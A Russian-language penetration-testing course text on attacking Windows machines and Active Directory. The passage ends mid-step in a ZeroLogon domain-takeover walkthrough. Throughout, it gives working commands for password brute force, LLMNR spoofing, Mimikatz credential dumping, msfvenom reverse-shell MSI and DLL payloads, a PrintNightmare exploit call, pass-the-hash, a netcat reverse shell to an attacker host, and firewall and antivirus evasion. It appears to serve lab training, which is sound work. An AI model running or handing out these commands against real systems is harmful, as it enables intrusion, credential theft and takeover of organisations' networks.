В каждой Windows машине есть по несколько протоколов, позволяющих реализовывать атаки на механизмы аутентификации. Небольшое понимание того, какие учетные данные и пароли использовать для подобных атак в определенном контексте, может сильно облегчить этот способ и сделать его крайне эффективным. Может быть атаковано:

Пример атаки: 

hydra -L ~/wordlists/user.txt -P ~/wordlists/pass.txt 192.168.1.5 smb -V

Подготовка
Перед тем, как провести атаку методом перебора, необходимо ответить на следующие вопросы:

Словарь логинов

Словарь логинов из домена можно получить следующими способами:

Словари нужно подбирать в соответствии с контекстом, в котором вы их используете.

Обход блокировки
Для обхода блокировки можно использовать атаку PasswordSpraying: 1 попытку подбора пароля для всех аккаунтов в списке в определенный период времени.

Особенность настройки систем Windows в том, что администраторы зачастую настраивают политику количества попыток ввода пароля. Обычно количество попыток в этой политике устанавливается в значение от 3-х до 10-ти раз в течение часа. В случае, если количество попыток превышено, аккаунт пользователя блокируется.

Перехват трафика и MitM-атаки на машины Windows

Особенность в использовании по умолчанию протоколов взаимодействия в локальной сети, через которые можно попытаться скомпрометировать каналы коммуникаций и получить доступ к управлению сеансами или данными в них. Каждый раз, когда машина Windows пытается выполнить разрешение доменного имени, она выполняет следующие действия:

Как раз в момент использования протоколов LLMNR, NBT-NS и MDNS становиться возможным подменить ответ на такой запрос и попытаться завести жертву на свой зловредный ресурс, который сможет:

LLMNR / NBT-NS / MDNS Spoofing.

В момент получения запроса LLMNR/NBT-NS можно подделать реальный источник разрешения имен в сети. Он отвечает на трафик так, как будто ему известна личность запрашиваемого узла: отправляет службу, чтобы жертвы общались с контролируемой системой.

image.png


Если узел, на который будет перенаправлена жертва, потребует прохождения процесса идентификации / аутентификации, имя пользователя и хэш NTLMv2 будут отправлены в контролируемую систему. Затем сохраняется хэш-информацию с помощью инструментов, отслеживающих трафик, далее взламываются хэши в автономном режиме методом грубой силы. Можно использовать NBNSpoof, Metasploit и Responder.

Responder

https://github.com/SpiderLabs/Responder

Responder — это инструмент для выполнения атаки MitM в отношении методов аутентификации в Windows. Эта программа
использует отправление LLMNR, NBT-NS и MDNS, через которое перенаправляет трафик с запросами и хешами аутентификации на подконтрольный узел.
Также в программу встроены серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы
аутентификации, как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и базовую HTTP аутентификацию. Для них
Responder выполняет роль ретранслятора.

Запустим Responder: 

sudo responder -I eth0

Перехватив NTLMv2 хеш, положим их в файл tickets.txt и попробуем восстановить пароли аккаунтов, отправивших нам хеши: 

hashcat -a 0 -w 4 -m 5600 tickets.txt /usr/share/wordlists/rockyou.txt

После получения пароля воспользуемся утилитой evil-winrm для получения удобного доступа к терминалу: 

evil-winrm -i [ip] -u [username] -p [password]

 

Дополнительно

Анализ Windows

Повышение привилегий

Горизонтальное перемещение (lateral movement) — процесс продвижения по сети от точки входа к другим объектам.

Домен – это основная административная единица в сетевой инфраструктуре предприятия, в которую входят все сетевые объекты. Совокупность (иерархия) доменов называется лесом. У каждой компании могут быть внешние и внутренние домены.

Контроллер домена (domain controller) — сервер, управляющий доступом к сетевым ресурсам в рамках одного домена. Контроллер домена осуществляет аутентификацию пользователя в домене.

Этапы повышения привилегий:

Основные категории методов повышения привилегий

Извлечение секретов и учетных данных

Поиск секретов и паролей в ОС

Можно поискать пароли в различных файлах ОС при помощи команд терминальной оболочки, например: 

cd C:\ & findstr /s /p /i /n /m "password" *.xml *.ini *.txt *.config

Более подробно, каждая часть команды выполняет следующие действия:

cd C:\ — переходит в корневую папку диска C:
findstr — команда для поиска строк в файлах
/s — выполняет поиск строк во всех подпапках
/p — пропускает файлы с непечатными символами
/i — игнорирует регистр символов при поиске строк
/n — выводит номер строки, содержащей строку
/m — выводит только имя файла, если файл содержит совпадение

Для повышения привилегий в ОС также существуют скрипты-энумераторы, которые отлично справляются с поиском и извлечением паролей самостоятельно.

Для ОС Windows это скрипт  WinPeas:

Извлечение учетных данных из оперативной памяти

В Windows для реализации механизма HTTP Digest Authentication для поддержки SSO (Single Sign On) требуют знание вводимого пароля, а не только его хеша. Поэтому разработчики Windows решили хранить пароли пользователей в открытом виде. Для извлечения паролей и хешей из оперативной памяти можно использовать инструмент Mimikatz.

Mimikatz

Mimikatz — инструмент, реализующий функционал Windows Credentials Editor и позволяющий извлекать учетные данные пользователей Windows.

Дополнительную информацию по данному инструменту можно получить по следующим ссылкам:

Применение Mimikatz

Для загрузки инструмента mimikatz необходимо перейти в папку с правами на запись, например в C:\Windows\System32\spool\drivers\color.
Далее следует загрузить mimikatz на целевую машину. Это можно сделать утилитой, позволяющей скачивать файл по сети certutil: certutil -urlcache -split -f http://10.10.14.16/mimikatz.exe m.exe
После запуска Mimi нужно указать следующую команду, которая предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege): privilege::debug
Следующая команда вернет список всех хранящихся на этой машине хешей и паролей в виде незашифрованного текста:sekurlsa::logonPasswords

Условия для Mimikatz. Необходимы права SeDebugPrivilege, которые, как правило, есть у Администратора и нечасто встречаются у пользователя. Тем не менее, процедура извлечения учётных данных из памяти необходима в рамках проведения работ по пентесту для возможности как вертикального, так и горизонтального перемещения.

Эксплуатация уязвимостей конфигурации ОС Windows

Повышение привилегий через права на установку ПО (AlwaysInstallElevated):

Такая конфигурация позволяет нам воспользоваться случаем и повысить привилегии до прав системы. В ряде случаев администраторы не ограничивают пользователей в самостоятельной установке ПО. 

Настройка производится через изменение ключей реестра (HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated и HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated) и указывает системе разрешать пользователю установку файлов *.msi, а установка, в свою очередь, производится с повышенными привилегиями (NT AUTHORITY\SYSTEM).

Обнаружение в WinPeas

Если WinPeas увидит такую возможность, то отобразит нам ее в следующем виде:

image.png

Подробная информация:

Эксплуатация

Генерация файл с полезной нагрузкой в формате msi. Используем "msfvenom" из MSF для создания исполняемого файла "rev.msi", который содержит обратную оболочку для Windows x64 и связывается с IP-адресом 10.10.14.16 на порту 443.

msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 -f msi -o rev.msi

Подробнее:

--platform windows — указывает, что будет использоваться платформа Windows
-a x64 — указывает, что будет использоваться архитектура x64
-p windows/x64/shell_reverse_tcp — выбирает тип обратной оболочки, которая будет использоваться в исполняемом файле
LHOST=10.10.14.16 — задает IP-адрес, на который будет устанавливаться обратная связь
LPORT=443 — задает порт, на который будет устанавливаться обратная связь
-f msi — указывает формат файла, который будет создан (в данном случае это MSI-файл Windows Installer)
-o rev.msi — задает имя и путь для выходного файла

Запуск “установщика” в режиме "тихой" установки

msiexec /quiet /qn /i rev.msi

/quiet — указывает на режим тихой установки, в котором пользователю не будут выводиться диалоговые окна и сообщения
/qn — указывает на то, что будет использоваться минимальный уровень отображения информации о ходе установки
/i — указывает, что будет произведена установка MSI-пакета
rev.msi — имя MSI-файла, который будет устанавливаться

Эксплуатация известных уязвимостей ОС Windows

Для поиска известных уязвимостей в Windows для вашей версии ОС можно использовать как скрипты энумерации, так и ресурсы, агрегирующие в себе подобную информацию (пример).

Уязвимость в Windows Print Spooler (PrintNightmare)

Эта проблема до сих пор актуальна и может встречаться в современных сетях компаний. Служба Windows Print Spooler — это универсальный интерфейс между ОС, приложениями и локальными или сетевыми принтерами. Она позволяет разработчикам приложений отправлять задания на печать.

PrintNightmare — это критическая уязвимость системы безопасности, затрагивающая операционную систему Microsoft Windows. Есть два варианта ее эксплуатации: один разрешает удаленное выполнение кода, а другой ведет к повышению привилегий. Рассмотрим повышение привилегий.

Поиск уязвимости

Для поиска уязвимости обратимся к списку процессов. В списке процессов должна быть служба печати — spoolsv:

image.png

Проверяем доступ к сервису по TCP порту. Использовать утилиту обращения к RPC сервисам Windows: rpcdump.py 

rpcdump.py @10.10.10.175 | egrep 'MS-RPRN|MS-PAR'

image.png

Эта команда выполняет две операции:

rpcdump.py @10.10.10.175 — запускает утилиту rpcdump.py, которая использует протокол RPC (Remote Procedure Call) для получения информации о доступных удаленных процедурах на хосте с IP-адресом 10.10.10.175.
egrep 'MS-RPRN|MS-PAR' — фильтрует вывод утилиты rpcdump.py с помощью утилиты egrep, чтобы отобразить только строки, содержащие "MS-RPRN" или "MS-PAR". Это позволяет отфильтровать информацию, связанную с протоколами Microsoft Remote Printing (MS-RPRN) и Microsoft Parallel Remote (MS-PAR), которые могут быть использованы для удаленного доступа к принтерам и портам ввода-вывода соответственно.

Как работает уязвимость

Проблемы в службе печати Windows, приводящие к выполнению произвольного кода, не являются редким явлением. Наиболее известная уязвимость в Windows, Print Spooler, используется в атаке Stuxnet: клиент использует вызов RPC для добавления драйвера на сервер, сохраняя его в локальном или удаленном каталоге SMB.

Драйвер может содержать произвольный код, который будет выполняться на сервере с правами SYSTEM. Команду может выполнить любой пользователь, прошедший аутентификацию в службе диспетчера очереди печати. При наличии учетных данных пользователя появляется возможность выполнить любую DLL от имени SYSTEM.

Эксплуатация уязвимости

Для эксплуатации уязвимости подготовим DLL, которая будет загружена и исполнена, и воспользоваться эксплойтом уязвимости. DLL с “обратной оболочкой” можно создать при помощи msfvenom следующей командой: 

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=1337 -f dll -o /tmp/print.dll

Для его использования в последствии необходимо либо выложить DLL на файловый сервер, который будет доступен машине жертвы, либо загрузить его на машину жертвы.

Для эксплуатации уязвимости можно выбрать публичный эксплойт и выполнить его командой: 

python3 ./CVE-2021-1675.py example.local/Alex:HappyHacking@192.168.0.134 '\\192.168.0.177\share\print.dll'

Таким образом, могут быть получены права SYSTEM через уязвимость в Windows — Print Spooler. Критичность данной уязвимости повышается ещё и благодаря тому, что служба Windows Print Spooler включена в Windows по умолчанию, что потенциально расширяет применимость данного вектора.

Горизонтальное (“боковое”) перемещение

Это одновременное сочетание 2 техник:

Цикличное повторение позволяет от одного взломанного ПК дойти до полной компрометации всей сетевой инфраструктуры.

Локальные учетные записи и NT(LM)-хеши

Локальные пользователи вместе с NTLM-хешами хранятся в реестре по пути HKLM\sam. Сам по себе SAM (Security Account Manager) — это отдельный куст реестра, который лежит в \windows\system32\config наряду с другими кустами.

Даже администратор (за исключением system) не может получить доступ к HKLM\sam с помощью regedit.exe или напрямую, скопировав файл из системной директории. Однако команда reg.exe позволяет это сделать. На практике мы будем извлекать системные файлы с помощью встроенных компонентов ОС, а анализировать их уже на нашей системе. Тем самым мы абсолютно точно не вызовем антивирусной тревоги.

Место хранения хешей паролей.

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В Vista и выше LM-хэш не хранится. Для начала посмотрим, где искать эти хэши, а потом разберемся, что из себя они представляют.

Пароли пользователей, а также много другой  полезной информации хранится в реестре по адресу HKLM\SAM\SAM\Domains\Account\users\[RID]\V, известном как V-блок.

Раздел SAM находится в соответствующем файле С:\Windows\System32\config\SAM.

В Windows 2000 и выше оба полученных хэша дополнительно шифруются алгоритмом RC4 с помощью ключа, известного как «системный ключ», или bootkey, сгенерированного утилитой syskey, и шифруются довольно хитрым образом.

Получить из реестра хэши можно с правами локального админа, например, используя уже знакомый нам meterpreter и его команду hashdump.

В результате получаем хеши в формате Username:RID:LM-hash:NTLM-hash:::.

В новых системах (начиная с Windows 7/2008R2) LM-хеш может быть пустым, то есть иметь значение aad3b435b51404eeaad3b435b51404ee, так как LM-хеши больше не используются по соображениям безопасности. Пустой пароль NTLM-хеша, в свою очередь, — это 31d6cfe0d16ae931b73c59d7e0c089c0.

Во время бокового перемещения, когда хешей очень много, такие хеши надо обнаруживать сразу и отбрасывать, так как ограничение пустого пароля не позволит выполнить удаленный вход.

Пример извлеченного хеша:

admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

И LM-, и NTLM-хеши могут быть также найдены и для доменных пользователей при анализе памяти lsass.exe или в базе ntds.dit.

Они никогда не передаются по сети как есть, вместо этого они транслируются в виде NetNTLM/NetNTLMv2-хешей, которые непригодны для атаки Pass-the-Hash.

* Данные типы хешей одноразовые и могут быть использованы только в момент передачи (техника NTLM-relay).

Pass the Hash

Pass the Hash (PtH) — это метод аутентификации пользователя без доступа к его паролю в открытом виде. Метод заключается в обходе стандартных этапов аутентификации, на которых требуется ввод пароля, и переходе непосредственно к той части аутентификации, которая использует хэш пароля. 

Все извлеченные NTLM-хеши (отличные от 31d6cfe0d16ae931b73c59d7e0c089c0) могут использоваться для аутентификации на следующих типах сервисов:

Но выполнять код мы можем, как правило, только на первых пяти сервисах из списка, для последних трех более применимы атаки NTLM-relay.

Для осуществления атаки Pass the Hash в Windows 7 и выше с установленным обновлением KB2871997 требуются действительные учетные данные пользователя домена или хэши администратора (RID 500).

psexec.py -hashes
> aad3b435b51404eeaad3b435b51404ee:cdf51b162460b7d5bc898f493751a0cc
example.local/Administrator@10.129.177.234 whoami

Psexec.py — один из скриптов из набора скриптов Impacket, отвечающий за выполнение команды в Windows системах в соответствии с тем как работает утилита psexec.

Impacket — это набор классов Python для работы с сетевыми протоколами. Impacket ориентирован на предоставление низкоуровневого программного доступа к пакетам, а для некоторых протоколов (например, SMB1-3 и MSRPC) — к самой реализации протокола. Пакеты могут быть созданы с нуля, а также разобраны из необработанных данных, а объектно-ориентированный API упрощает работу с глубокими иерархиями протоколов. Библиотека предоставляет набор инструментов  в качестве примеров того, что может быть сделано в контексте этой библиотеки.

Выполнение кода на узле с учетной записью

Удаленное исполнение кода на узле может выполняться различными способами. Рассмотрим несколько утилит, которые позволят нам удобно работать с выполнением кода на удаленных машинах в будущем.

Psexec.exe

Происхождение: sysinternals
Риск детектирования антивирусом: отсутствует
Используемые порты: 135, 445, 4915x/TCP
Принцип ее работы заключается в копировании исполняемого файла через сетевой ресурс «ADMIN$» (445/TCP) с последующим удаленным созданием и запуском службы для этого исполняемого файла через DCERPC (135,4915x/TCP).

Psexec работает следующим образом:

После запуска службы происходит обычное сетевое взаимодействие с удаленной командной строкой: 

psexec.exe -u admin \\target cmd

Серверный компонент psexecsvc.exe подписан сертификатом Sysinternals и, следовательно, это стопроцентно легитимная программа. Также к явным достоинствам классического psexec.exe относится способность выполнять код в указанных пользовательских сеансах: 

psexec.exe -u admin -i 2 \\target shutdown /l

Impacket

Impacket — это набор классов Python для работы с сетевыми протоколами. Impacket ориентирован на обеспечение низкоуровневого программного доступа к пакетам, а для некоторых протоколов (например, SMB1-3 и MSRPC) — на саму реализацию протокола. Пакеты могут быть созданы с нуля, а также проанализированы на основе необработанных данных, а объектно-ориентированный API упрощает работу с глубокими иерархиями протоколов. Библиотека предоставляет набор инструментов в качестве примеров того, что можно сделать в контексте этой библиотеки.

Psexec.py

Происхождение: Python-пакет impacket
Риск детектирования антивирусом: есть
Используемые порты: 445/TCP
Отличная альтернатива для пользователей Linux, однако этот инструмент почти наверняка поднимет антивирусную тревогу. Как было сказано, все дело в службе, которая копируется на удаленный хост.

Это можно исправить, указав в реализации метода createService() в /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py произвольную команду, которая будет выполнена вместо запускаемой службы удаленного администрирования.

Чтобы psexec.py не скопировал заметный антивирусу компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку уже вручную прописали команду - этим файлом может быть что угодно: 

psexec.py -file somefile.txt admin@target

Таким образом, мы напрямую выполнили команду, что, конечно же, не вызовет реакции со стороны антивирусов. Однако подобная модификация psexec лишает нас того удобства использования, которое было изначально.

Atexec.py / at.exe

Происхождение: Python-пакет impacket / встроенный компонент Windows
Риск детектирования антивирусом: отсутствует
Используемые порты: 445/TCP
Служба планировщика заданий Windows, доступная через smb-пайп atsvc. Позволяет удаленно поместить в планировщик задачу, которая выполнится в указанный момент.

# DCE/RPC — удаленный планировщик, работает на Windows Vista и выше. В обоих случаях это не интерактивное средство удаленного исполнения кода. При использовании at.exe происходит слепое исполнение команд:

at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

А вот для atexec.py команда выполнится с результатом: atexec.py admin@target ipconfig

Вся разница в том, что результат выполнения команды будет направлен в файл и прочитан через сетевой ресурс ADMIN$.
Для своей работы инструмент требует, чтобы часы у attacker и target были настроены на одно время — с точностью до минуты.

Дополнительная информация

Рекомендуемые ресурсы

Active Directory:

Помимо блогов, предлагаем вам подборку отличных инструментов, ориентированных на Active Directory, которые не только полезны, но и могут позволить вам изучить множество механизмов и протоколов Active Directory.

Обход блокировки открытия портов на Windows машинах.

(некоторые версии) Стандартный фаер блокирует приложения, которые пытаются открыть прослушивание входящих соединений. Имея системный доступ, нужно перед запуском приложения определить, включен или нет фаер, чтобы не было лишних сообщений. Netsh - виндовое приложение для консольного управления фаером. 

Netsh firewall show opmode
Конфигурация профиля Domain (текущая):
-------------------------------------------------------------------
Рабочий режим                     = Enable
Режим исключения                  = Enable

Конфигурация профиля Обычный:...

Если режим исключений (Exception mode) включен, то можно продолжать процедуру. Включение режима поддержки исключений: 

Netsh firewall set opmode mode = enable exceptions = enable profile = all

Добавляем исключение 

netsh firewall add portopening TCP 1234 “Windows Firewall Reporting Agent” enable all

Проверка правил после добавления

netsh firewall show port opening

Обход блокировки антивирусом (некоторые приложения)

В случае netcat для создания бэкдора желательно изменить netcat. Существует два пути изменения бинарника: корректировка исходника с последующей компиляцией и поиск в дебаггере сигнатуры и корректировка сигнатуры.

Анализ Windows

Практика первичного доступа

Архив Windows7.v2.7z (зеркала: Яндекс.Диск и OneDrive), импортировать ВМ двойным нажатием на файл  Windows7.vbox

Пользователь Alex пароль HappyHacking для инициализации сети ОС. Далее настроить сетевое размещение:

Нужно выбрать Общественная сеть.

Найти флаг (секретную строку в формате 26 букв и цифр) из файла root.txt, расположенного в папке рабочего стола пользователя Kevin.

Анализ Windows

Практика повышения привилегий

Архив: Win10.rar (зеркала: Яндекс.Диск и OneDrive). Импортировать ВМ двойным нажатием на файл  Win10.vbox.

Для инициализации сети необходимо войти в нее под специальным аккаунтом: Логин: helpdesk Пароль: Qwerty123

Последовательность действий

Есть доступ, задача — поднять привилегии до максимальных и собрать данные.

1. Просканируем Windows-систему на открытые порты с помощью nmap: 

$ nmap -Pn -n -F -sV --open 10.8.0.14

2. Для первичного доступа попробуем перебрать пароли ssh с помощью patator. Patator позволяет установить соединение с сервером и перебирать пароли, используя словари паролей или списки паролей, которые можно настроить для каждого протокола. Возможно настроить параметры задержки между попытками аутентификации. Проведем перебор SSH-паролей для пользователя john, при этом отфильтруем все сообщения, включающие в себя строку “Authentication failed”. 

$ patator ssh_login host=10.8.0.14 user=john password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'

Путем перебора получаем верный пароль: loveme1

3. Подключимся к Windows-машине по ssh: 

$ ssh john@10.8.0.14
john@WIN10> whoami
john@WIN10> dir

4. Для автоматического поиска вектора для повышения привилегий используем утилиту WinPEAS:

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

WinPEAS автоматически определяет наличие открытых портов, установленные программы и службы, запланированные задачи, наличие уязвимых файловых разрешений, настройки UAC (User Account Control) и другие уязвимости привилегий в операционной системе.

Использование WinPEAS может значительно упростить процесс поиска уязвимостей привилегий и повысить эффективность и скорость анализа безопасности системы. Скачаем актуальную версию WinPEAS под 64-разрядные ОС на локальную машину: 

$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230413-7f846812/winPEASx64.exe

5. Передадим файл на удаленную машину по SSH с помощью scp и запустим файл: 

$ scp winPEASx64.exe john@10.8.0.14:C:\\Users\\John\\
john@WIN10> winPEASx64.exe

6. Рассмотрим вывод утилиты: наибольшее внимание стоит обращать на выделенное красным. Последовательно просматривая возможные вектора, обратим внимание на AlwaysInstallElevated. Это политика, позволяющая устанавливать любые msi-пакеты с повышенными правами. Это значит, что, если мы сгенерируем полезную нагрузку в этом формате, то при её запуске она будет работать от имени NT AUTHORITY\SYSTEM, что дает нам полные привилегии на этой машине.

7. Сгенерируем полезную нагрузку в формате msi с помощью msfvenom, полезной нагрузкой будет обратное shell-соединение на нашу машину: 

$ msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.8.0.28 LPORT=4444 -f msi -o tmp/rev.msi

8. Отправим полезную нагрузку на удаленную машину с помощью SCP: 

$ scp tmp/rev.msi john@10.8.0.14:C:\\Users\\John\\

9. Подготовим хэндлер для получения shell-соединения с помощью msf. Используем метаэксплойт exploit/multi/handler, для принятия соединений от полезных нагрузок в случае, если их запуск идет независимо от применения RCE-эксплойтов самого msf. Укажем выбранный payload и адрес, на котором он будет ожидать подключения: 

$ msfconsole
msf6> use exploit/multi/handler
msf6> options
msf6> set PAYLOAD windows/x64/shell_reverse_tcp
msf6> set LHOST 10.8.0.28
msf6> exploit

10. Проверим, что удаленная система доступна по RDP: 

$ nmap -Pn -n -p 3389 -sV --open 10.8.0.14

11. Подключимся к удаленной системе по RDP, используя xfreerdp – свободный RDP-клиент с консольным интерфейсом, укажем пользователя, пароль, хост и удобную нам ширину экрана: 

$ xfreerdp /u:john /p:loveme1 /w:768 /v:10.8.0.14

12. Запускаем инсталлятор. Однако простым запуском не получается, нужно через консоль 

msiexec /quiet /qn /i C:/one.msi

13. После получения соединения в msf выполним базовую разведку и убедимся, что обладаем максимальными правами, после чего прочтем флаг: 

> whoami
> cd C:\Users\michael\Desktop
> type root.txt

Захват домена


Захват домена

Общая информация

Каталог (Directory, хранилище данных) — в контексте компьютерной сети, иерархическая структура, хранящая информацию об объектах в сети. Объекты  - это серверы, общие тома и принтеры, учетные записи пользователей, рабочие станции, домены, приложения, службы, политики безопасности и почти все остальное в вашей сети.

Служба каталогов (Directory Service) — является как источником информации каталога, так и службой, делающей информацию доступной и полезной для администраторов, пользователей, сетевых служб и приложений. Active Directory™, служба каталогов, которая хранит информацию о сетевых объектах, а также реализует службы, которые делают эту информацию доступной и полезной для пользователей, компьютеров и приложений.

Объекты (Objects) — это сущности, составляющие сеть, отдельный именованный набор атрибутов, представляющий что-то конкретное, например, пользователя, принтер или приложение.

Схема (Schema) — это описание классов объектов (различных типов объектов) и атрибутов для этих классов объектов. Для каждого класса объектов схема определяет атрибуты, которые должен иметь этот класс объектов, дополнительные атрибуты, которые он может иметь, и класс объектов, который может быть его родителем. Каждый объект Active Directory является экземпляром класса объекта. Каждый атрибут определяется только один раз и может использоваться в нескольких классах. Например, атрибут Description определяется один раз, но используется во многих различных классах.

Домены — это объекты-контейнеры, или набор административно определенных объектов, которые имеют общую базу данных каталога, политики безопасности и доверительные отношения с другими доменами. Таким образом, каждый домен является административной границей для объектов. Один домен может охватывать несколько физических мест или сайтов, и содержать миллионы объектов.

Дерево домена (Domain Tree) — состоит из нескольких доменов, которые имеют общую схему и конфигурацию, образуя непрерывное пространство имен. Домены в дереве также связаны между собой доверительными отношениями. Active Directory представляет собой набор из одного или нескольких деревьев.

Лес (Forest) — это набор из одного или нескольких деревьев доменов, которые не образуют непрерывное пространство имен. Все деревья в лесу имеют общую схему, конфигурацию и глобальный каталог. Все деревья в данном лесу обмениваются доверием в соответствии с транзитивными иерархическими отношениями доверия Kerberos. В отличие от деревьев, лес не требует отдельного имени. Лес существует как набор объектов перекрестных ссылок и доверительных отношений Kerberos, распознаваемых входящими в него деревьями. Деревья в лесу образуют иерархию для целей доверия Kerberos. Имя дерева в корне дерева доверия относится к данному лесу.

Доверительные отношения (Trust Relationship) — это отношения, установленные между двумя доменами, которые позволяют пользователям одного домена быть распознанными контроллером домена в другом домене. Доверительные отношения позволяют пользователям получать доступ к ресурсам в другом домене, а также позволяют администраторам управлять правами пользователей в другом домене.  На уровне леса доверительные отношения создаются автоматически между корневым доменом леса и корневым доменом каждого дерева доменов, добавленного в лес, в результате чего между всеми доменами в лесу Active Directory существует полное доверие.

Захват домена - получение уровня доступа управления контроллером домена из под учетной записи, которая имеет соответствующие права.

Способы захвата контроллер домена

По умолчанию наивысшие права в домене имеет учетная запись из группы Enterprise Admins.

Администраторы предприятия (Enterprise Admins) — это встроенная группа, находится в контейнере Users корневого домена леса, которая по умолчанию имеет административный доступ ко всем доменам в лесу. Enterprise Admins представляет полный доступ к конфигурации всех контроллеров домена. Существует очень мало задач, требующих использования учетной записи Enterprise Admins. 

Администраторы (Administrators) – находится в контейнере Builtin каждого домена. Эта группа имеет полный доступ ко всем контроллерам домена и данным в контексте именования домена. Она может изменять членство во всех административных группах домена, а группа Администраторы (Administrators) в корневом домене леса может изменять членство в группах Администраторы предприятия (Enterprise Admins), Администраторы Схемы (Schema Admins) и Администраторы домена (Domain Admins). 

Администраторы домена (Domain Admins) – находятся в контейнере Users каждого домена. Эта группа входит в группу Администраторы своего домена. Поэтому она наследует все полномочия группы Администраторы. Кроме того, она по умолчанию входит в локальную группу Администраторы каждого рядового компьютера домена, в результате чего администраторы домена получают в свое распоряжение все компьютеры домена.

Возможности групп Администраторов

Получив права доступа в одной из этих групп, мы можем управлять конфигурацией Домена или даже Леса. Мы можем получить доступ или изменить любые данные учетных записей, машин, сервисов и пр. А также управлять любой машиной в домене и любой учетной записью.

Также можем выгрузить все секреты, ключи, хеши пользователей и пр. учетных записей из контроллера домена и пользоваться ими для создания токенов доступа или входа в машины.

Для эксплуатации такой возможности зачастую используется утилита SecretsDump.py пакета Impacket, выполняющая атаку под названием DCSync Attack.

DCSync Attack

Разрешение DCSync подразумевает наличие таких разрешений на сам домен: DS-Replication-Get-Changes, Replicating Directory Changes All и Replicating Directory Changes In Filtered Set.

Важные замечания о DCSync:

Атака DCSync имитирует поведение контроллера домена и просит другие контроллеры домена реплицировать информацию с помощью протокола Directory Replication Service Remote Protocol (MS-DRSR). Поскольку MS-DRSR является действительной и необходимой функцией Active Directory, его нельзя отключить или деактивировать.
По умолчанию только администраторы домена, администраторы предприятия, администраторы и группы контроллеров домена имеют необходимые привилегии.

SecretsDump

Утилита secretsdump выполняет атаку DCSync Attack и выполняет различные техники для извлечения хэшей с удаленной машины без выполнения на ней какого-либо агента. Для SAM и LSA Secrets (включая кэшированные учетные данные) утилита пытается прочитать как можно больше из реестра, затем сохраняет хэши в целевой системе (%SYSTEMROOT%\\\Temp dir) и читает остальные данные оттуда.

Для NTDS.dit:

Пример выполнения команды: 

python3 secretsdump.py test.local/john:password123@10.10.10.1

Файл ntds.dit представляет собой базу данных, в которой хранится информация Active Directory, такая, как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене.

 

Захват домена

Пример захвата управления

Есть доступ к машине с ОС Windows, задача — взломать контроллер домена, извлечь данные объектов домена и закрепить доступ в домене.

Ход действий

1. Проведем сканирование сервера с помощью nmap: 

nmap -Pn -n -F -v --open 192.168.0.117

Список портов типичен для контроллера домена: помимо стандартных для Windows портов SMB, MS-RPC и NetBIOS присутствует также DNS-сервер на порту 53, сервер используемого для авторизации в домене протокола Kerberos на 88 и протокол доступа к каталогам LDAP на 389.

2. Попробуем определить версию DNS-сервера с помощью сканирования SMB-порта с помощью скриптов nmap: 

nmap -Pn -n -p 445 -sV -sC -v --open 192.168.0.117

Данная версия Windows Server, выполняющего роль контроллера домена, может быть подвержена ZeroLogon – уязвимости, позволяющей получить полный доступ к контроллеру домена без учетных данных.

3. Используем средства Metasploit Framework для проверки сервера на эту уязвимость: 

msfconsole
msf6> search zerologon
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon

4. Указываем IP сервера и его NetBIOS имя, ранее полученное при сканировании nmap, проверим и запустим эксплуатацию: 

msf6> set RHOSTS 192.168.0.117
msf6> set NBNAME DC1
msf6> check
msf6> run

Данная техника эксплуатации приводит к установке пустого пароля машинного аккаунта контроллера домена, что может повлечь нарушение работы домена в целом.

5. Для корректной эксплуатации нам нужно сначала получить учетные данные администратора домена, а затем, используя их, восстановить старый пароль машинного аккаунта. Используем для этого impacket — набор инструментов для работы с протоколами сетевого и прикладного уровня в Python, позволяющего взаимодействовать с Windows-сетями из Linux и вести тестирование их безопасности. 

locate impacket

6. Ключевым инструментом на этом шаге будет secretsdump – скрипт, используемый для получения учетных данных с удаленных Windows-компьютеров или локальных файлов реестра. 

python3 /usr/lib/python3/dist-packages/impacket/examples/secretsdump.py
impacket-secretsdump -h

7. Используем secretsdump для получения NTLM-хэша администратора домена. Ключ -just-dc-user позволяет получить хэш нужного нам пользователя, -no-pass указывает на то, что пароль машинного аккаунта пустой, sandbox.local – имя домена, DC1$ - имя машинной учетной записи, а IP 192.168.0.117 – адрес контроллера домена. 

impacket-secretsdump -no-pass -just-dc-user administrator 'sandbox.local/DC1$@192.168.0.117'

8. Для восстановления пароля машинной учетной записи нам необходимо вытащить его из реестра Windows, для чего мы можем подключиться к контроллеру домена с помощью инструмента wmiexec, который используется для выполнения команд на удаленной системе Windows через WMI (Windows Management Instrumentation).

9. Укажем ранее полученный хэш администратора и проверим права после подключения: 

$ impacket-wmiexec -hashes <hash> 'sandbox.local/administrator@192.168.0.117'
C:\> whoami

10. Сохраним интересующие нас ветки реестра в отдельные файлы: 

C:\> reg save HKLM\SYSTEM system.save
C:\> reg save HKLM\SAM sam.save
C:\> reg save HKLM\SECURITY security.save

11. Скачаем эти файлы на локальную машину: 

C:\> lget system.save
C:\> lget sam.save
C:\> lget security.save

И удалим их:

C:\> del /f system.save security.save sam.save

12. Локально проанализируем эти файлы с помощью impacket-secretsdump: 

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

13. Теперь, когда мы получили старый пароль машинного аккаунта из секретов LSA, мы можем вновь запустить эксплойт из msf, но уже в режиме восстановления пароля: 

$ msfconsole
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6> set RHOSTS 192.168.0.17
msf6> set NBNAME DC1

